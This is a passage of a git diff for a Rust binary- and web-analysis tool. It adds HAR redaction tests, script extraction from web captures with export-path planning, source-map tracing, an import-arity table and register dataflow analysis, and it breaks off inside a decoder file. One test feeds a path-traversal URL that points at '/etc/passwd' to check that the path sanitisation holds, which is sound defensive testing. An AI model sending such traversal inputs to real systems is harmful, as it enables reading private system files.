{"startedDateTime":"2026-01-01T00:00:02Z","time":5, + "request":{"method":"POST","url":"https://api.example.test/v1/login","headers":[],"postData":{"mimeType":"application/x-www-form-urlencoded","text":"user=ann&password=hunter2"}}, + "response":{"status":302,"headers":[{"name":"Location","value":"https://u:p@api.example.test/home"}],"content":{"size":0,"mimeType":""},"redirectURL":"https://api.example.test/home?token=abc"},"timings":{}} + ]}}"#; + + fn run(sensitive: &[&str]) -> Value { + inspect_har( + HAR.as_bytes(), + &HarOptions { hidden_values: sensitive.iter().map(|s| s.to_string()).collect(), limit: 50, max_entries: 1000, ..Default::default() }, + ) + .unwrap() + } + + #[test] + fn nothing_secret_survives() { + let v = run(&["hunter2"]); + let mut all = BTreeSet::new(); + all_strings(&v, &mut all); + for s in &all { + for secret in ["SECRET123", "COOKIEVAL", "hunter2", "bob:", "u:p@", "Ann"] { + assert!(!s.contains(secret), "{secret} leaked in {s:?}"); + } + } + assert_eq!(v["summary"]["entries"], 3); + assert_eq!(v["summary"]["methods"]["GET"], 2); + assert_eq!(v["entries"][0]["url"], "https://api.example.test/v1/users/42?access_token=[redacted]&page=2"); + assert_eq!(v["entries"][0]["request_headers"][0]["value"], Value::Null); + assert_eq!(v["entries"][0]["request_headers"][2]["value"], "trace-[redacted]"); + assert_eq!(v["entries"][2]["request_body"]["fields"], json!(["user", "password"])); + let outline = &v["entries"][0]["response_body"]["outline"]; + assert_eq!(outline["properties"]["id"], "integer"); + assert!(outline["properties"].get("hunter2").is_none(), "sensitive property name dropped"); + assert_eq!(v["entries"][1]["response_body"]["outline"]["properties"]["error"], "string"); + } + + #[test] + fn api_surface_groups_by_template() { + let v = run(&[]); + let ops = v["api_surface"].as_array().unwrap(); + let users = ops.iter().find(|o| o["operation"] == "GET https://api.example.test/v1/users/{n}").unwrap(); + assert_eq!(users["count"], 2); + assert_eq!(users["statuses"], json!([200, 404])); + assert_eq!(path_template("/a/123e4567-e89b-12d3-a456-426614174000/2026-01-02/deadbeefdeadbeefdeadbeefdeadbeef"), "/a/{uuid}/{date}/{hex}"); + } + + #[test] + fn encoded_forms_are_redacted() { + let r = Redactor::new(&["a b/c\"".into()]); + assert!(r.needles.iter().any(|n| n == "a%20b%2Fc%22")); + assert!(r.needles.iter().any(|n| n == "a b/c\\\"")); + let mut r = r; + assert_eq!(r.text("/x", "q=a%20b%2Fc%22"), "q=[redacted]"); + assert!(inspect_har(b"not json", &HarOptions::default()).is_err()); + } +} diff --git a/desktop/crates/analysis/src/web_scripts.rs b/desktop/crates/analysis/src/web_scripts.rs new file mode 100644 index 0000000..891372c --- /dev/null +++ b/desktop/crates/analysis/src/web_scripts.rs @@ -0,0 +1,226 @@ +//! Scripts from web captures: pulling them out of a capture (a page inspection result, a +//! walkthrough capture, or a HAR), planning a collision-free file layout for export, and mapping +//! generated positions back to original sources through source maps. + +use craft_anything_evidence::sha256_hex; +use craft_anything_formats::har; +use craft_anything_formats::sourcemap::{self, SourceMap, base64_decode}; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::collections::BTreeSet; + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub struct CapturedScript { + pub url: String, + pub text: String, +} + +/// Scripts listed in a capture result: any object with a `url` and inline source +/// (`source`, `text`, `content` or `script_source`). +pub fn scripts_from_capture(v: &Value) -> Vec { + let mut out = Vec::new(); + let mut stack = vec![(v, 0usize)]; + while let Some((x, depth)) = stack.pop() { + if depth > 10 || out.len() >= 20_000 { + break; + } + match x { + Value::Object(m) => { + let text = ["source", "text", "content", "script_source"].iter().find_map(|k| m.get(*k).and_then(Value::as_str)); + if let Some(text) = text { + let url = m.get("url").and_then(Value::as_str).unwrap_or("").to_string(); + out.push(CapturedScript { url, text: text.to_string() }); + continue; + } + for y in m.values() { + stack.push((y, depth + 1)); + } + } + Value::Array(a) => { + for y in a.iter().rev() { + stack.push((y, depth + 1)); + } + } + _ => {} + } + } + out +} + +/// JavaScript responses recorded in a HAR, when their bodies were saved. +pub fn scripts_from_har(bytes: &[u8], max_entries: usize) -> Result, String> { + let h = har::parse(bytes, max_entries).map_err(|e| e.to_string())?; + let mut out = Vec::new(); + for e in h.entries { + let mime = e.response.mime.as_deref().unwrap_or("").to_ascii_lowercase(); + let path = e.request.url.split(['?', '#']).next().unwrap_or("").to_ascii_lowercase(); + let is_js = mime.contains("javascript") || mime.contains("ecmascript") || path.ends_with(".js") || path.ends_with(".mjs") || path.ends_with(".cjs"); + if !is_js || !(200..300).contains(&e.response.status) { + continue; + } + let Some(text) = e.response.text else { continue }; + let text = if e.response.encoding.as_deref() == Some("base64") { + base64_decode(&text).map(|b| String::from_utf8_lossy(&b).into_owned()).unwrap_or_default() + } else { + text + }; + if !text.is_empty() { + out.push(CapturedScript { url: e.request.url, text }); + } + } + Ok(out) +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub struct PlannedFile { + pub url: String, + /// Relative path under the export folder (`files//`). + pub path: String, + pub sha256: String, + pub bytes: usize, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub reason: Option, +} + +fn clean_segment(s: &str) -> String { + let c: String = s.chars().map(|c| if c.is_alphanumeric() || matches!(c, '.' | '-' | '_' | '@' | '+') { c } else { '_' }).take(100).collect(); + let c = c.trim_start_matches('.').to_string(); + if c.is_empty() { "_".into() } else { c } +} + +/// Plan where each script goes. Same URL path seen twice (query variants, different content) +/// gets a content-hash suffix and a stated reason. +pub fn plan_layout(scripts: &[CapturedScript]) -> Vec { + let mut used: BTreeSet = BTreeSet::new(); + let mut out = Vec::new(); + for (i, s) in scripts.iter().enumerate() { + let sha = sha256_hex(s.text.as_bytes()); + let short = sha.get(..10).unwrap_or(&sha).to_string(); + let (host, path, query) = match s.url.split_once("://") { + Some((scheme, rest)) if !rest.is_empty() => { + let rest = rest.split('#').next().unwrap_or(rest); + let (hp, q) = rest.split_once('?').map_or((rest, None), |(a, b)| (a, Some(b))); + let (h, p) = hp.split_once('/').unwrap_or((hp, "")); + let h = h.rsplit('@').next().unwrap_or(h); + (if scheme == "file" { "local".to_string() } else { clean_segment(h) }, p.to_string(), q.is_some()) + } + _ => ("inline".to_string(), format!("script-{i}.js"), false), + }; + let mut segs: Vec = path.split('/').filter(|p| !p.is_empty() && *p != "." && *p != "..").map(clean_segment).take(24).collect(); + if segs.is_empty() { + segs.push("index.js".into()); + } + let mut file = segs.join("/"); + if !file.ends_with(".js") && !file.ends_with(".mjs") && !file.ends_with(".cjs") { + file.push_str(".js"); + } + let mut rel = format!("files/{host}/{file}"); + let mut reason = None; + if query { + rel = with_suffix(&rel, &short); + reason = Some("URL has a query string; named by content hash to keep variants apart".to_string()); + } + if used.contains(&rel) { + rel = with_suffix(&rel, &short); + reason = Some("another script already used this path; named by content hash".to_string()); + let mut n = 2; + while used.contains(&rel) && n < 10_000 { + rel = with_suffix(&rel, &n.to_string()); + n += 1; + } + } + used.insert(rel.clone()); + out.push(PlannedFile { url: s.url.clone(), path: rel, sha256: sha, bytes: s.text.len(), reason }); + } + out +} + +fn with_suffix(path: &str, suffix: &str) -> String { + match path.rsplit_once('.') { + Some((stem, ext)) if !stem.ends_with('/') => format!("{stem}.{suffix}.{ext}"), + _ => format!("{path}.{suffix}"), + } +} + +/// Map a generated position (1-based line, 0-based column) to original positions, with a few +/// lines of original source around each when the map embeds it. +pub fn trace_location(map: &SourceMap, line: u32, column: u32, context: u32) -> Value { + let positions = map.original_positions(line.saturating_sub(1), column); + let rows: Vec = positions + .iter() + .map(|p| { + let snippet = map_content(map, p.source_index).map(|text| { + let first = p.line.saturating_sub(context); + text.lines().enumerate().skip(first as usize).take((context * 2 + 1) as usize).map(|(i, l)| json!({"line": i + 1, "text": l.chars().take(400).collect::()})).collect::>() + }); + json!({"source": p.source, "line": p.line + 1, "column": p.column, "name": p.name, "generated_column": p.generated_column, "context": snippet, "ignored": map.ignore_list.contains(&p.source_index)}) + }) + .collect(); + json!({"generated": {"line": line, "column": column}, "original_positions": rows, "found": !rows.is_empty(), "sources": map.sources.len(), "segments": map.segments}) +} + +fn map_content(map: &SourceMap, idx: u32) -> Option<&str> { + if map.sections.is_empty() { + return map.source_content(idx); + } + None +} + +/// Parse a map from bytes (raw JSON or a `data:` URL's payload). +pub fn parse_map(bytes: &[u8]) -> Result { + let text = std::str::from_utf8(bytes).unwrap_or(""); + if let Some(decoded) = text.trim().starts_with("data:").then(|| sourcemap::decode_data_url(text.trim())).flatten() { + return sourcemap::parse(&decoded, sourcemap::Limits::default()).map_err(|e| e.to_string()); + } + sourcemap::parse(bytes, sourcemap::Limits::default()).map_err(|e| e.to_string()) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn capture_scripts_and_layout() { + let cap = json!({"page": {"scripts": [ + {"url": "https://ex.test/assets/app.js?v=1", "source": "a()"}, + {"url": "https://ex.test/assets/app.js?v=2", "source": "b()"}, + {"url": "https://ex.test/../../etc/passwd", "source": "c()"}, + {"url": "", "source": "inline()"}, + {"url": "https://ex.test/assets/app.js", "source": "d()"}, + {"url": "https://ex.test/assets/app.js", "source": "e()"}, + ]}}); + let s = scripts_from_capture(&cap); + assert_eq!(s.len(), 6); + let plan = plan_layout(&s); + let paths: BTreeSet<&str> = plan.iter().map(|p| p.path.as_str()).collect(); + assert_eq!(paths.len(), 6, "{plan:?}"); + assert!(plan.iter().all(|p| !p.path.contains("..") && p.path.starts_with("files/"))); + assert!(plan[0].reason.is_some()); + assert_eq!(plan[2].path, "files/ex.test/etc/passwd.js"); + assert_eq!(plan[3].path, "files/inline/script-3.js"); + assert_eq!(plan[4].path, "files/ex.test/assets/app.js"); + assert!(plan[5].reason.as_deref().unwrap().contains("already used")); + } + + #[test] + fn har_scripts() { + let har = br#"{"log":{"entries":[{"request":{"method":"GET","url":"https://x.test/a.js"},"response":{"status":200,"content":{"mimeType":"text/javascript","text":"YSgp","encoding":"base64"}}}, + {"request":{"method":"GET","url":"https://x.test/b.css"},"response":{"status":200,"content":{"mimeType":"text/css","text":"x"}}}]}}"#; + let s = scripts_from_har(har, 100).unwrap(); + assert_eq!(s, vec![CapturedScript { url: "https://x.test/a.js".into(), text: "a()".into() }]); + } + + #[test] + fn traces_with_context() { + let m = parse_map( + br#"{"version":3,"sources":["src/a.ts"],"names":["save"],"mappings":";AAEAA","sourcesContent":["// one\n// two\nfunction save() {}\n"]}"#, + ) + .unwrap(); + let t = trace_location(&m, 2, 0, 1); + assert_eq!(t["original_positions"][0]["source"], "src/a.ts"); + assert_eq!(t["original_positions"][0]["line"], 3); + assert_eq!(t["original_positions"][0]["name"], "save"); + assert_eq!(t["original_positions"][0]["context"][1]["text"], "function save() {}"); + assert_eq!(trace_location(&m, 1, 0, 1)["found"], false); + } +} diff --git a/desktop/crates/disasm/Cargo.toml b/desktop/crates/disasm/Cargo.toml new file mode 100644 index 0000000..c4a5011 --- /dev/null +++ b/desktop/crates/disasm/Cargo.toml @@ -0,0 +1,22 @@ +[package] +name = "craft-anything-disasm" +description = "Craft Anything's own native engine: decoding, functions, control flow, references, pseudo-C" +version.workspace = true +edition.workspace = true +license.workspace = true +publish = false + +[lints] +workspace = true + +[dependencies] +craft-anything-formats = { workspace = true } +serde = { workspace = true } +serde_json = { workspace = true } +thiserror = { workspace = true } +iced-x86 = { workspace = true } +yaxpeax-arm = { workspace = true } +yaxpeax-arch = { workspace = true } + +[dev-dependencies] +craft-anything-testkit = { workspace = true } diff --git a/desktop/crates/disasm/src/arity.rs b/desktop/crates/disasm/src/arity.rs new file mode 100644 index 0000000..2ae5b7b --- /dev/null +++ b/desktop/crates/disasm/src/arity.rs @@ -0,0 +1,165 @@ +//! How many arguments common library functions take, so a pseudo-C call into an import shows all +//! of them even when some were set outside the calling block. Data, not code: add a row to extend +//! it. Variadic functions list their fixed arguments. + +/// (name, arguments). +const ARITY: &[(&str, u8)] = &[ + // C library + ("puts", 1), + ("printf", 1), + ("fprintf", 2), + ("sprintf", 2), + ("snprintf", 3), + ("scanf", 1), + ("sscanf", 2), + ("malloc", 1), + ("calloc", 2), + ("realloc", 2), + ("free", 1), + ("memcpy", 3), + ("memmove", 3), + ("memset", 3), + ("memcmp", 3), + ("strlen", 1), + ("strcmp", 2), + ("strncmp", 3), + ("strcpy", 2), + ("strncpy", 3), + ("strcat", 2), + ("strchr", 2), + ("strrchr", 2), + ("strstr", 2), + ("strdup", 1), + ("atoi", 1), + ("strtol", 3), + ("strtoul", 3), + ("getenv", 1), + ("exit", 1), + ("abort", 0), + ("fopen", 2), + ("fclose", 1), + ("fread", 4), + ("fwrite", 4), + ("fgets", 3), + ("fputs", 2), + ("open", 2), + ("close", 1), + ("read", 3), + ("write", 3), + ("socket", 3), + ("connect", 3), + ("bind", 3), + ("listen", 2), + ("accept", 3), + ("send", 4), + ("recv", 4), + ("sendto", 6), + ("recvfrom", 6), + ("dlopen", 2), + ("dlsym", 2), + ("pthread_create", 4), + // Windows + ("MessageBoxA", 4), + ("MessageBoxW", 4), + ("CreateWindowExA", 12), + ("CreateWindowExW", 12), + ("DefWindowProcA", 4), + ("DefWindowProcW", 4), + ("RegisterClassExA", 1), + ("RegisterClassExW", 1), + ("ShowWindow", 2), + ("UpdateWindow", 1), + ("GetMessageA", 4), + ("GetMessageW", 4), + ("TranslateMessage", 1), + ("DispatchMessageA", 1), + ("DispatchMessageW", 1), + ("PostQuitMessage", 1), + ("SetWindowTextA", 2), + ("SetWindowTextW", 2), + ("GetWindowTextA", 3), + ("GetWindowTextW", 3), + ("CreateFileA", 7), + ("CreateFileW", 7), + ("ReadFile", 5), + ("WriteFile", 5), + ("CloseHandle", 1), + ("DeleteFileA", 1), + ("DeleteFileW", 1), + ("GetProcAddress", 2), + ("LoadLibraryA", 1), + ("LoadLibraryW", 1), + ("LoadLibraryExA", 3), + ("LoadLibraryExW", 3), + ("GetModuleHandleA", 1), + ("GetModuleHandleW", 1), + ("VirtualAlloc", 4), + ("VirtualFree", 3), + ("VirtualProtect", 4), + ("ExitProcess", 1), + ("Sleep", 1), + ("GetLastError", 0), + ("CreateThread", 6), + ("WaitForSingleObject", 2), + ("CreateProcessA", 10), + ("CreateProcessW", 10), + ("ShellExecuteA", 6), + ("ShellExecuteW", 6), + ("RegOpenKeyExA", 5), + ("RegOpenKeyExW", 5), + ("RegQueryValueExA", 6), + ("RegQueryValueExW", 6), + ("RegSetValueExA", 6), + ("RegSetValueExW", 6), + ("RegCloseKey", 1), + ("InternetOpenA", 5), + ("InternetOpenW", 5), + ("InternetOpenUrlA", 6), + ("InternetOpenUrlW", 6), + ("InternetReadFile", 4), + ("HttpSendRequestA", 5), + ("HttpSendRequestW", 5), + ("WinHttpOpen", 5), + ("WinHttpConnect", 4), + ("WinHttpOpenRequest", 7), + ("WinHttpSendRequest", 7), +]; + +/// The argument count of an import, by name. Accepts the decorated spellings loaders use: a +/// leading `_` (Mach-O, 32-bit cdecl), `__imp_`, and a stdcall `@bytes` suffix, which gives the +/// count on its own (4 bytes an argument) when the name isn't in the table. +pub fn import_arity(name: &str) -> Option { + let bare = name.strip_prefix("__imp_").unwrap_or(name); + let (base, stdcall) = match bare.rsplit_once('@') { + Some((b, n)) if !n.is_empty() && n.bytes().all(|c| c.is_ascii_digit()) => (b, n.parse::().ok().map(|bytes| bytes / 4)), + _ => (bare, None), + }; + let lookup = |n: &str| ARITY.iter().find(|(k, _)| *k == n).map(|(_, a)| usize::from(*a)); + lookup(base).or_else(|| lookup(base.trim_start_matches('_'))).or(stdcall) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn names_and_decorations() { + assert_eq!(import_arity("puts"), Some(1)); + assert_eq!(import_arity("_puts"), Some(1), "Mach-O leading underscore"); + assert_eq!(import_arity("__imp_MessageBoxW"), Some(4)); + assert_eq!(import_arity("_MessageBoxW@16"), Some(4), "table wins over the stdcall suffix"); + assert_eq!(import_arity("_SomethingElse@12"), Some(3), "stdcall bytes / 4"); + assert_eq!(import_arity("CreateWindowExW"), Some(12)); + assert_eq!(import_arity("not_a_known_function"), None); + assert_eq!(import_arity("odd@name"), None); + } + + #[test] + fn no_duplicate_rows() { + let mut names: Vec<&str> = ARITY.iter().map(|(n, _)| *n).collect(); + names.sort_unstable(); + let n = names.len(); + names.dedup(); + assert_eq!(names.len(), n); + } +} diff --git a/desktop/crates/disasm/src/dataflow.rs b/desktop/crates/disasm/src/dataflow.rs new file mode 100644 index 0000000..161aaba --- /dev/null +++ b/desktop/crates/disasm/src/dataflow.rs @@ -0,0 +1,346 @@ +//! Register def-use inside one function: which instruction's result each instruction reads, +//! where the incoming parameters are used, and the function's side effects (stores, calls). +//! Reaching definitions over the CFG, register-level, bounded. + +use crate::decode::{ArmConsts, Flow, Insn, Kind, Mode, Op}; +use crate::image::Image; +use crate::program::{Function, Program}; +use craft_anything_formats::{Format, hex_addr}; +use serde::Serialize; +use std::collections::{BTreeMap, BTreeSet}; + +#[derive(Debug, Clone, PartialEq, Eq, Serialize)] +pub struct DfNode { + pub id: usize, + /// `instruction` or `parameter` + pub kind: &'static str, + #[serde(with = "hex_addr::opt")] + pub addr: Option, + pub text: String, + pub defines: Vec, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize)] +pub struct DfEdge { + pub from: usize, + pub to: usize, + pub register: String, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize)] +pub struct Effect { + #[serde(with = "hex_addr")] + pub addr: u64, + /// store, call + pub kind: &'static str, + pub text: String, + /// Registers whose values flow into the effect. + pub inputs: Vec, +} + +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize)] +pub struct DefUse { + pub nodes: Vec, + pub edges: Vec, + pub parameters: Vec, + /// (parameter, instruction address) where an incoming argument is read. + pub parameter_uses: Vec<(String, String)>, + pub effects: Vec, + pub truncated: bool, +} + +fn ignored(r: &str) -> bool { + matches!(r, "rsp" | "esp" | "sp" | "rip" | "rflags" | "eflags" | "flags" | "x30" | "x29" | "rbp") +} + +/// Build the def-use graph of `f`. +pub fn def_use(img: &Image, prog: &Program, f: &Function, max_nodes: usize, max_edges: usize) -> DefUse { + let mode = prog.mode; + let args: &[&str] = match mode { + Mode::X64 if img.bin.format == Format::Pe => &["rcx", "rdx", "r8", "r9"], + Mode::X64 => &["rdi", "rsi", "rdx", "rcx", "r8", "r9"], + Mode::A64 => &["x0", "x1", "x2", "x3", "x4", "x5", "x6", "x7"], + Mode::A32 | Mode::T32 => &["r0", "r1", "r2", "r3"], + _ => &[], + }; + let clobbered: &[&str] = match mode { + Mode::X64 if img.bin.format == Format::Pe => &["rax", "rcx", "rdx", "r8", "r9", "r10", "r11"], + Mode::X64 => &["rax", "rcx", "rdx", "rsi", "rdi", "r8", "r9", "r10", "r11"], + Mode::A64 => &["x0", "x1", "x2", "x3", "x4", "x5", "x6", "x7", "x8", "x9", "x10", "x11", "x12", "x13", "x14", "x15", "x16", "x17"], + Mode::A32 | Mode::T32 => &["r0", "r1", "r2", "r3", "r12"], + _ => &["rax", "rcx", "rdx", "eax", "ecx", "edx"], + }; + let ret = match mode { + Mode::A64 => "x0", + Mode::A32 | Mode::T32 => "r0", + _ => "rax", + }; + let mut out = DefUse::default(); + // Decode. + let mut blocks: Vec> = Vec::new(); + for b in &f.blocks { + let mut v = Vec::new(); + let mut consts = ArmConsts::default(); + let mut a = b.start; + while a < b.end && v.len() < 20_000 { + let Some(mut i) = img.decode(a, true) else { break }; + if mode == Mode::A64 { + consts.apply(&mut i); + } + // Calls define the return register and clobber the scratch registers. + if matches!(i.flow, Flow::Call { .. } | Flow::IndirectCall { .. }) { + for c in clobbered { + if !i.writes.iter().any(|w| w == c) { + i.writes.push((*c).to_string()); + } + } + for r in args { + if !i.reads.iter().any(|x| x == r) { + i.reads.push((*r).to_string()); + } + } + } + if matches!(i.flow, Flow::Return) && !i.reads.iter().any(|x| x == ret) { + i.reads.push(ret.to_string()); + } + a = i.end(); + v.push(i); + } + blocks.push(v); + } + let total: usize = blocks.iter().map(Vec::len).sum(); + if total > max_nodes { + out.truncated = true; + } + // Nodes: parameters, then instructions (capped). + let mut node_of: BTreeMap = BTreeMap::new(); + let mut param_node: BTreeMap = BTreeMap::new(); + for r in args { + let id = out.nodes.len(); + param_node.insert((*r).to_string(), id); + out.nodes.push(DfNode { id, kind: "parameter", addr: None, text: format!("incoming {r}"), defines: vec![(*r).to_string()] }); + } + for v in &blocks { + for i in v { + if out.nodes.len() >= max_nodes { + break; + } + let id = out.nodes.len(); + node_of.insert(i.addr, id); + out.nodes.push(DfNode { + id, + kind: "instruction", + addr: Some(i.addr), + text: i.text(), + defines: i.writes.iter().filter(|w| !ignored(w)).cloned().collect(), + }); + } + } + // Reaching definitions: reg → set of defining node ids. + type Defs = BTreeMap>; + let index: BTreeMap = f.blocks.iter().enumerate().map(|(i, b)| (b.start, i)).collect(); + let n = f.blocks.len(); + let mut preds: Vec> = vec![Vec::new(); n]; + for (i, b) in f.blocks.iter().enumerate() { + for s in &b.succs { + if let Some(&j) = index.get(s) + && let Some(p) = preds.get_mut(j) + { + p.push(i); + } + } + } + let entry = index.get(&f.entry).copied().unwrap_or(0); + let mut entry_defs: Defs = BTreeMap::new(); + for (r, id) in ¶m_node { + entry_defs.insert(r.clone(), BTreeSet::from([*id])); + } + let transfer = |inp: &Defs, insns: &[Insn]| -> Defs { + let mut cur = inp.clone(); + for i in insns { + if let Some(&id) = node_of.get(&i.addr) { + for w in &i.writes { + if !ignored(w) { + cur.insert(w.clone(), BTreeSet::from([id])); + } + } + } + } + cur + }; + let mut outs: Vec = vec![BTreeMap::new(); n]; + let mut ins: Vec = vec![BTreeMap::new(); n]; + let mut changed = true; + let mut rounds = 0; + while changed && rounds < 64 { + changed = false; + rounds += 1; + for b in 0..n { + let mut inp: Defs = if b == entry { entry_defs.clone() } else { BTreeMap::new() }; + for &p in preds.get(b).map(Vec::as_slice).unwrap_or(&[]) { + if let Some(po) = outs.get(p) { + for (r, ds) in po { + inp.entry(r.clone()).or_default().extend(ds.iter().copied()); + } + } + } + let o = transfer(&inp, blocks.get(b).map(Vec::as_slice).unwrap_or(&[])); + if outs.get(b) != Some(&o) { + if let Some(x) = outs.get_mut(b) { + *x = o; + } + changed = true; + } + if let Some(x) = ins.get_mut(b) { + *x = inp; + } + } + } + if rounds >= 64 { + out.truncated = true; + } + // Edges and effects. + let mut params_used: BTreeSet = BTreeSet::new(); + for (b, v) in blocks.iter().enumerate() { + let mut cur = ins.get(b).cloned().unwrap_or_default(); + for i in v { + let Some(&me) = node_of.get(&i.addr) else { continue }; + for r in &i.reads { + if ignored(r) { + continue; + } + for &d in cur.get(r).map(|s| s.iter().copied().collect::>()).unwrap_or_default().iter() { + if out.edges.len() >= max_edges { + out.truncated = true; + break; + } + out.edges.push(DfEdge { from: d, to: me, register: r.clone() }); + if param_node.get(r) == Some(&d) { + params_used.insert(r.clone()); + if out.parameter_uses.len() < 4096 { + out.parameter_uses.push((r.clone(), format!("{:#x}", i.addr))); + } + } + } + } + let is_store = matches!(i.kind, Kind::Store | Kind::StorePair) || (i.mode_writes_memory()); + if is_store && out.effects.len() < 4096 { + out.effects.push(Effect { addr: i.addr, kind: "store", text: i.text(), inputs: i.reads.iter().filter(|r| !ignored(r)).cloned().collect() }); + } + if matches!(i.flow, Flow::Call { .. } | Flow::IndirectCall { .. }) && out.effects.len() < 4096 { + let name = match i.flow { + Flow::Call { target } => prog.name_at(target).unwrap_or_else(|| format!("sub_{target:x}")), + Flow::IndirectCall { slot: Some(s) } => prog.import_slots.get(&s).map(|x| x.name.clone()).unwrap_or_else(|| i.text()), + _ => i.text(), + }; + let inputs = args + .iter() + .filter(|r| cur.get(**r).is_some_and(|s| s.iter().any(|d| !param_node.values().any(|p| p == d)))) + .map(|r| (*r).to_string()) + .collect(); + out.effects.push(Effect { addr: i.addr, kind: "call", text: name, inputs }); + } + for w in &i.writes { + if !ignored(w) { + cur.insert(w.clone(), BTreeSet::from([me])); + } + } + } + } + out.parameters = args.iter().filter(|a| params_used.contains(**a)).map(|a| (*a).to_string()).collect(); + out +} + +impl Insn { + /// True when an x86 instruction writes its memory operand (`mov [m], r`, `add [m], r`…). + fn mode_writes_memory(&self) -> bool { + matches!(self.ops.first(), Some(Op::Mem(_))) + && matches!(self.kind, Kind::Mov | Kind::Add | Kind::Sub | Kind::And | Kind::Or | Kind::Xor | Kind::Inc | Kind::Dec) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::NoControl; + use crate::program::Limits; + use craft_anything_testkit as tk; + use std::sync::Arc; + + fn raw_flow(bytes: Vec, arch: craft_anything_formats::Arch, thumb: bool) -> DefUse { + let mut bin = craft_anything_formats::Binary::raw(arch, 0x1000, bytes.len() as u64, 0); + if thumb { + bin.entry = Some(0x1001); + } + let img = Image::from_binary(Arc::from(bytes), bin); + let p = Program::analyze(&img, &Limits::default(), &NoControl).unwrap(); + let f = p.functions.get(&0x1000).unwrap(); + assert!(f.returns && !f.truncated); + let flow = def_use(&img, &p, f, 5000, 10000); + assert!(!flow.truncated); + flow + } + + #[test] + fn arm32_calls_define_arm_scratch_registers_and_return_r0() { + // Save the link register, call through r3, then restore the caller's return address. + let a32 = [0xe92d4010u32, 0xe12fff33, 0xe8bd8010].into_iter().flat_map(u32::to_le_bytes).collect(); + let thumb = vec![0x10, 0xb5, 0x98, 0x47, 0x10, 0xbd]; + for (bytes, is_thumb, call_addr, ret_addr) in [(a32, false, 0x1004, 0x1008), (thumb, true, 0x1002, 0x1004)] { + let flow = raw_flow(bytes, craft_anything_formats::Arch::Arm, is_thumb); + let call = flow.nodes.iter().find(|n| n.addr == Some(call_addr)).unwrap(); + let ret = flow.nodes.iter().find(|n| n.addr == Some(ret_addr)).unwrap(); + for register in ["r0", "r1", "r2", "r3", "r12"] { + assert!(call.defines.iter().any(|r| r == register), "{flow:?}"); + } + assert!(!call.defines.iter().any(|r| matches!(r.as_str(), "rax" | "rcx" | "rdx" | "eax" | "ecx" | "edx")), "{flow:?}"); + assert!(flow.edges.iter().any(|e| e.from == call.id && e.to == ret.id && e.register == "r0"), "{flow:?}"); + } + } + + #[test] + fn arm32_leaf_results_reach_the_return() { + let a32 = [0xe3a00007u32, 0xe12fff1e].into_iter().flat_map(u32::to_le_bytes).collect(); + let thumb = vec![0x07, 0x20, 0x70, 0x47]; + for (bytes, is_thumb, ret_addr) in [(a32, false, 0x1004), (thumb, true, 0x1002)] { + let flow = raw_flow(bytes, craft_anything_formats::Arch::Arm, is_thumb); + let value = flow.nodes.iter().find(|n| n.addr == Some(0x1000)).unwrap(); + let ret = flow.nodes.iter().find(|n| n.addr == Some(ret_addr)).unwrap(); + assert!(flow.edges.iter().any(|e| e.from == value.id && e.to == ret.id && e.register == "r0"), "{flow:?}"); + } + } + + #[test] + fn other_architectures_keep_their_word_result_registers() { + let a64 = [0xd28000e0u32, 0xd65f03c0].into_iter().flat_map(u32::to_le_bytes).collect(); + let x64 = vec![0xb8, 7, 0, 0, 0, 0xc3]; + for (bytes, arch, ret_addr, register) in + [(a64, craft_anything_formats::Arch::Aarch64, 0x1004, "x0"), (x64, craft_anything_formats::Arch::X86_64, 0x1005, "rax")] + { + let flow = raw_flow(bytes, arch, false); + let value = flow.nodes.iter().find(|n| n.addr == Some(0x1000)).unwrap(); + let ret = flow.nodes.iter().find(|n| n.addr == Some(ret_addr)).unwrap(); + assert!(flow.edges.iter().any(|e| e.from == value.id && e.to == ret.id && e.register == register), "{flow:?}"); + } + } + + #[test] + fn helper_def_use() { + let (elf, _) = tk::elf64(tk::ElfArch::X86_64, true); + let img = Image::parse(Arc::from(elf)).unwrap(); + let p = Program::analyze(&img, &Limits::default(), &NoControl).unwrap(); + let h = p.function_by_name("helper").unwrap(); + let du = def_use(&img, &p, h, 5000, 10000); + assert_eq!(du.parameters, vec!["rdi".to_string()]); + // `add eax, edi` reads rdi from the parameter and from the loop's `sub edi, 1`. + let add = du.nodes.iter().find(|n| n.text.starts_with("add eax")).unwrap(); + let froms: Vec<_> = du.edges.iter().filter(|e| e.to == add.id && e.register == "rdi").map(|e| e.from).collect(); + assert_eq!(froms.len(), 2, "{du:?}"); + let main = p.function_by_name("main").unwrap(); + let du = def_use(&img, &p, main, 5000, 10000); + assert!(du.effects.iter().any(|e| e.kind == "call" && e.text == "puts")); + assert!(du.effects.iter().any(|e| e.kind == "store")); + let tiny = def_use(&img, &p, main, 3, 2); + assert!(tiny.truncated); + } +} diff --git a/desktop/crates/disasm/src/decode.rs b/desktop/crates/disasm/src/decode.rs new file mode 100644 index 0000000..16f1a85 --- /dev/null +++ b/desktop/crates/disasm/src/decode.rs @@ -0,0 +1,1309 @@ +//! Instruction decoding for x86 (16/32/64-bit, via iced-x86) and ARM (A64 and A32/T32, via +//! yaxpeax-arm), into one architecture-neutral [`Insn`]. + +use iced_x86::{ConditionCode, Decoder, DecoderOptions, FlowControl, Formatter, InstructionInfoFactory, IntelFormatter, Mnemonic, OpAccess, OpKind, Register}; +use serde::Serialize; +use yaxpeax_arch::{Decoder as _, LengthedInstruction, U8Reader}; + +/// Decoding mode. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize)] +#[serde(rename_all = "snake_case")] +pub enum Mode { + X16, + X32, + X64, + /// 32-bit ARM (A32). + A32, + /// Thumb-2. + T32, + A64, +} + +impl Mode { + pub fn name(self) -> &'static str { + match self { + Mode::X16 => "x86-16", + Mode::X32 => "x86", + Mode::X64 => "x86_64", + Mode::A32 => "arm", + Mode::T32 => "thumb", + Mode::A64 => "arm64", + } + } + + pub fn is_x86(self) -> bool { + matches!(self, Mode::X16 | Mode::X32 | Mode::X64) + } + + /// Instruction alignment for prologue scans and pointer checks. + pub fn align(self) 